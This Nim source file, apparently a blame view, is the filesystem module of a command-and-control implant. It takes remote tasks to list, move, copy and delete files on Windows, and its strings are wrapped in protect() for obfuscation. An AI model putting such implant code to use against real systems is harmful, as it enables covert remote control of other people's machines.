2025-08-26 15:11:43 +02:00
import .. / common / [ types , utils ]
2025-07-25 16:41:29 +02:00
2025-07-28 21:29:47 +02:00
# Define function prototypes
2025-08-15 15:42:57 +02:00
proc executePwd ( ctx : AgentCtx , task : Task ) : TaskResult
proc executeCd ( ctx : AgentCtx , task : Task ) : TaskResult
proc executeDir ( ctx : AgentCtx , task : Task ) : TaskResult
proc executeRm ( ctx : AgentCtx , task : Task ) : TaskResult
proc executeRmdir ( ctx : AgentCtx , task : Task ) : TaskResult
proc executeMove ( ctx : AgentCtx , task : Task ) : TaskResult
proc executeCopy ( ctx : AgentCtx , task : Task ) : TaskResult
2025-07-28 21:29:47 +02:00
2025-09-17 15:55:13 +02:00
# Module definition
let module * = Module (
name : protect ( " filesystem " ) ,
description : protect ( " Conduct simple filesystem operations via Windows API. " ) ,
2025-09-30 10:04:29 +02:00
moduleType : MODULE_FILESYSTEM ,
2025-09-17 15:55:13 +02:00
commands : @ [
Command (
name : protect ( " pwd " ) ,
commandType : CMD_PWD ,
description : protect ( " Retrieve current working directory. " ) ,
example : protect ( " pwd " ) ,
arguments : @ [ ] ,
execute : executePwd
) ,
Command (
name : protect ( " cd " ) ,
commandType : CMD_CD ,
description : protect ( " Change current working directory. " ) ,
example : protect ( " cd C: \\ Windows \\ Tasks " ) ,
arguments : @ [
Argument ( name : protect ( " directory " ) , description : protect ( " Relative or absolute path of the directory to change to. " ) , argumentType : STRING , isRequired : true )
] ,
execute : executeCd
) ,
Command (
name : protect ( " ls " ) ,
commandType : CMD_LS ,
description : protect ( " List files and directories. " ) ,
example : protect ( " ls C: \\ Users \\ Administrator \\ Desktop " ) ,
arguments : @ [
Argument ( name : protect ( " directory " ) , description : protect ( " Relative or absolute path. Default: current working directory. " ) , argumentType : STRING , isRequired : false )
] ,
execute : executeDir
) ,
Command (
name : protect ( " rm " ) ,
commandType : CMD_RM ,
description : protect ( " Remove a file. " ) ,
example : protect ( " rm C: \\ Windows \\ Tasks \\ payload.exe " ) ,
arguments : @ [
Argument ( name : protect ( " file " ) , description : protect ( " Relative or absolute path to the file to delete. " ) , argumentType : STRING , isRequired : true )
] ,
execute : executeRm
) ,
Command (
name : protect ( " rmdir " ) ,
commandType : CMD_RMDIR ,
description : protect ( " Remove a directory. " ) ,
example : protect ( " rm C: \\ Payloads " ) ,
arguments : @ [
Argument ( name : protect ( " directory " ) , description : protect ( " Relative or absolute path to the directory to delete. " ) , argumentType : STRING , isRequired : true )
] ,
execute : executeRmdir
) ,
Command (
name : protect ( " move " ) ,
commandType : CMD_MOVE ,
description : protect ( " Move a file or directory. " ) ,
example : protect ( " move source.exe C: \\ Windows \\ Tasks \\ destination.exe " ) ,
arguments : @ [
Argument ( name : protect ( " source " ) , description : protect ( " Source file path. " ) , argumentType : STRING , isRequired : true ) ,
Argument ( name : protect ( " destination " ) , description : protect ( " Destination file path. " ) , argumentType : STRING , isRequired : true )
] ,
execute : executeMove
) ,
Command (
name : protect ( " copy " ) ,
commandType : CMD_COPY ,
description : protect ( " Copy a file or directory. " ) ,
example : protect ( " copy source.exe C: \\ Windows \\ Tasks \\ destination.exe " ) ,
arguments : @ [
Argument ( name : protect ( " source " ) , description : protect ( " Source file path. " ) , argumentType : STRING , isRequired : true ) ,
Argument ( name : protect ( " destination " ) , description : protect ( " Destination file path. " ) , argumentType : STRING , isRequired : true )
] ,
execute : executeCopy
)
]
)
2025-07-28 21:29:47 +02:00
# Implementation of the execution functions
2025-09-27 12:36:59 +02:00
when not defined ( agent ) :
2025-08-15 15:42:57 +02:00
proc executePwd ( ctx : AgentCtx , task : Task ) : TaskResult = nil
proc executeCd ( ctx : AgentCtx , task : Task ) : TaskResult = nil
proc executeDir ( ctx : AgentCtx , task : Task ) : TaskResult = nil
proc executeRm ( ctx : AgentCtx , task : Task ) : TaskResult = nil
proc executeRmdir ( ctx : AgentCtx , task : Task ) : TaskResult = nil
proc executeMove ( ctx : AgentCtx , task : Task ) : TaskResult = nil
proc executeCopy ( ctx : AgentCtx , task : Task ) : TaskResult = nil
2025-07-25 16:41:29 +02:00
when defined ( agent ) :
import os , strutils , strformat , times , algorithm , winim
2025-10-20 22:08:06 +02:00
import .. / agent / core / io
2025-08-15 15:42:57 +02:00
import .. / agent / protocol / result
2025-08-21 15:08:52 +02:00
import .. / common / utils
2025-07-25 16:41:29 +02:00
# Retrieve current working directory
2025-08-15 15:42:57 +02:00
proc executePwd ( ctx : AgentCtx , task : Task ) : TaskResult =
2025-07-25 16:41:29 +02:00
2025-10-20 22:08:06 +02:00
print protect ( " [>] Retrieving current working directory. " )
2025-07-25 16:41:29 +02:00
try :
# Get current working directory using GetCurrentDirectory
let
buffer = newWString ( MAX_PATH + 1 )
length = GetCurrentDirectoryW ( MAX_PATH , & buffer )
if length = = 0 :
raise newException ( OSError , fmt" Failed to get working directory ({GetLastError()}). " )
2025-10-17 09:42:08 +02:00
let output = $ buffer [ 0 .. < ( int ) length ]
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_COMPLETED , RESULT_STRING , string . toBytes ( output ) )
2025-07-25 16:41:29 +02:00
except CatchableError as err :
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )
2025-07-25 16:41:29 +02:00
# Change working directory
2025-08-15 15:42:57 +02:00
proc executeCd ( ctx : AgentCtx , task : Task ) : TaskResult =
2025-07-25 16:41:29 +02:00
# Parse arguments
2025-08-14 12:25:06 +02:00
let targetDirectory = Bytes . toString ( task . args [ 0 ] . data )
2025-07-25 16:41:29 +02:00
2025-10-20 22:08:06 +02:00
print protect ( " [>] Changing current working directory to {targetDirectory}. " )
2025-07-25 16:41:29 +02:00
try :
# Get current working directory using GetCurrentDirectory
if SetCurrentDirectoryW ( targetDirectory ) = = FALSE :
raise newException ( OSError , fmt" Failed to change working directory ({GetLastError()}). " )
return createTaskResult ( task , STATUS_COMPLETED , RESULT_NO_OUTPUT , @ [ ] )
except CatchableError as err :
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )
2025-07-25 16:41:29 +02:00
# List files and directories at a specific or at the current path
2025-08-15 15:42:57 +02:00
proc executeDir ( ctx : AgentCtx , task : Task ) : TaskResult =
2025-07-25 16:41:29 +02:00
try :
var targetDirectory : string
# Parse arguments
case int ( task . argCount ) :
of 0 :
# Get current working directory using GetCurrentDirectory
let
cwdBuffer = newWString ( MAX_PATH + 1 )
cwdLength = GetCurrentDirectoryW ( MAX_PATH , & cwdBuffer )
if cwdLength = = 0 :
raise newException ( OSError , fmt" Failed to get working directory ({GetLastError()}). " )
targetDirectory = $ cwdBuffer [ 0 .. < ( int ) cwdLength ]
of 1 :
2025-08-14 12:25:06 +02:00
targetDirectory = Bytes . toString ( task . args [ 0 ] . data )
2025-07-25 16:41:29 +02:00
else :
discard
2025-10-20 22:08:06 +02:00
print fmt" [>] Listing files and directories in {targetDirectory}. "
2025-07-25 16:41:29 +02:00
# Prepare search pattern (target directory + \*)
let searchPattern = targetDirectory & " \\ * "
let searchPatternW = newWString ( searchPattern )
var
findData : WIN32_FIND_DATAW
hFind : HANDLE
output = " "
entries : seq [ string ] = @ [ ]
totalFiles = 0
totalDirs = 0
# Find files and directories in target directory
hFind = FindFirstFileW ( searchPatternW , & findData )
if hFind = = INVALID_HANDLE_VALUE :
2025-10-17 09:42:08 +02:00
raise newException ( OSError , fmt" Failed to list files ({GetLastError()}). " )
2025-07-25 16:41:29 +02:00
# Directory was found and can be listed
else :
output = fmt" Directory: {targetDirectory} " & " \n \n "
output & = " Mode LastWriteTime Length Name " & " \n "
output & = " ---- ------------- ------ ---- " & " \n "
# Process all files and directories
while true :
let fileName = $ cast [ WideCString ] ( addr findData . cFileName [ 0 ] )
# Skip current and parent directory entries
if fileName ! = " . " and fileName ! = " .. " :
# Get file attributes and size
let isDir = ( findData . dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY ) ! = 0
let isHidden = ( findData . dwFileAttributes and FILE_ATTRIBUTE_HIDDEN ) ! = 0
let isReadOnly = ( findData . dwFileAttributes and FILE_ATTRIBUTE_READONLY ) ! = 0
let isArchive = ( findData . dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE ) ! = 0
let fileSize = ( int64 ( findData . nFileSizeHigh ) shl 32 ) or int64 ( findData . nFileSizeLow )
# Handle flags
var mode = " "
if isDir :
mode = " d "
inc totalDirs
else :
mode = " - "
inc totalFiles
if isArchive :
mode & = " a "
else :
mode & = " - "
if isReadOnly :
mode & = " r "
else :
mode & = " - "
if isHidden :
mode & = " h "
else :
mode & = " - "
if ( findData . dwFileAttributes and FILE_ATTRIBUTE_SYSTEM ) ! = 0 :
mode & = " s "
else :
mode & = " - "
# Convert FILETIME to local time and format
var
localTime : FILETIME
systemTime : SYSTEMTIME
2025-08-26 15:11:43 +02:00
dateTimeStr = protect ( " 01/01/1970 00:00:00 " )
2025-07-25 16:41:29 +02:00
if FileTimeToLocalFileTime ( & findData . ftLastWriteTime , & localTime ) ! = 0 and FileTimeToSystemTime ( & localTime , & systemTime ) ! = 0 :
# Format date and time in PowerShell style
dateTimeStr = fmt" {systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d} "
# Format file size
var sizeStr = " "
if isDir :
2025-08-26 15:11:43 +02:00
sizeStr = protect ( " <DIR> " )
2025-07-25 16:41:29 +02:00
else :
sizeStr = ( $ fileSize ) . replace ( " - " , " " )
# Build the entry line
let entryLine = fmt" {mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName} "
entries . add ( entryLine )
# Find next file
if FindNextFileW ( hFind , & findData ) = = 0 :
break
# Close find handle
discard FindClose ( hFind )
# Add entries to output after sorting them (directories first, files afterwards)
entries . sort do ( a , b : string ) - > int :
let aIsDir = a [ 0 ] = = ' d '
let bIsDir = b [ 0 ] = = ' d '
if aIsDir and not bIsDir :
return - 1
elif not aIsDir and bIsDir :
return 1
else :
# Extract filename for comparison (last part after the last space)
let aParts = a . split ( " " )
let bParts = b . split ( " " )
let aName = aParts [ ^ 1 ]
let bName = bParts [ ^ 1 ]
return cmp ( aName . toLowerAscii ( ) , bName . toLowerAscii ( ) )
for entry in entries :
output & = entry & " \n "
# Add summary of how many files/directories have been found
output & = " \n " & fmt" {totalFiles} file(s) " & " \n "
2025-10-17 09:42:08 +02:00
output & = fmt" {totalDirs} dir(s) "
2025-07-25 16:41:29 +02:00
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_COMPLETED , RESULT_STRING , string . toBytes ( output ) )
2025-07-25 16:41:29 +02:00
except CatchableError as err :
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )
2025-07-25 16:41:29 +02:00
# Remove file
2025-08-15 15:42:57 +02:00
proc executeRm ( ctx : AgentCtx , task : Task ) : TaskResult =
2025-07-25 16:41:29 +02:00
# Parse arguments
2025-08-14 12:25:06 +02:00
let target = Bytes . toString ( task . args [ 0 ] . data )
2025-07-25 16:41:29 +02:00
2025-10-20 22:08:06 +02:00
print fmt" [>] Deleting file {target}. "
2025-07-25 16:41:29 +02:00
try :
if DeleteFile ( target ) = = FALSE :
raise newException ( OSError , fmt" Failed to delete file ({GetLastError()}). " )
return createTaskResult ( task , STATUS_COMPLETED , RESULT_NO_OUTPUT , @ [ ] )
except CatchableError as err :
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )
2025-07-25 16:41:29 +02:00
# Remove directory
2025-08-15 15:42:57 +02:00
proc executeRmdir ( ctx : AgentCtx , task : Task ) : TaskResult =
2025-07-25 16:41:29 +02:00
# Parse arguments
2025-08-14 12:25:06 +02:00
let target = Bytes . toString ( task . args [ 0 ] . data )
2025-07-25 16:41:29 +02:00
2025-10-20 22:08:06 +02:00
print fmt" [>] Deleting directory {target}. "
2025-07-25 16:41:29 +02:00
try :
if RemoveDirectoryA ( target ) = = FALSE :
raise newException ( OSError , fmt" Failed to delete directory ({GetLastError()}). " )
return createTaskResult ( task , STATUS_COMPLETED , RESULT_NO_OUTPUT , @ [ ] )
except CatchableError as err :
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )
2025-07-25 16:41:29 +02:00
# Move file or directory
2025-08-15 15:42:57 +02:00
proc executeMove ( ctx : AgentCtx , task : Task ) : TaskResult =
2025-07-25 16:41:29 +02:00
# Parse arguments
let
2025-08-14 12:25:06 +02:00
lpExistingFileName = Bytes . toString ( task . args [ 0 ] . data )
lpNewFileName = Bytes . toString ( task . args [ 1 ] . data )
2025-07-25 16:41:29 +02:00
2025-10-20 22:08:06 +02:00
print fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}. "
2025-07-25 16:41:29 +02:00
try :
if MoveFile ( lpExistingFileName , lpNewFileName ) = = FALSE :
raise newException ( OSError , fmt" Failed to move file or directory ({GetLastError()}). " )
return createTaskResult ( task , STATUS_COMPLETED , RESULT_NO_OUTPUT , @ [ ] )
except CatchableError as err :
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )
2025-07-25 16:41:29 +02:00
# Copy file or directory
2025-08-15 15:42:57 +02:00
proc executeCopy ( ctx : AgentCtx , task : Task ) : TaskResult =
2025-07-25 16:41:29 +02:00
# Parse arguments
let
2025-08-14 12:25:06 +02:00
lpExistingFileName = Bytes . toString ( task . args [ 0 ] . data )
lpNewFileName = Bytes . toString ( task . args [ 1 ] . data )
2025-07-25 16:41:29 +02:00
2025-10-20 22:08:06 +02:00
print fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}. "
2025-07-25 16:41:29 +02:00
try :
# Copy file to new location, overwrite if a file with the same name already exists
if CopyFile ( lpExistingFileName , lpNewFileName , FALSE ) = = FALSE :
raise newException ( OSError , fmt" Failed to copy file or directory ({GetLastError()}). " )
return createTaskResult ( task , STATUS_COMPLETED , RESULT_NO_OUTPUT , @ [ ] )
except CatchableError as err :
2025-08-14 12:25:06 +02:00
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )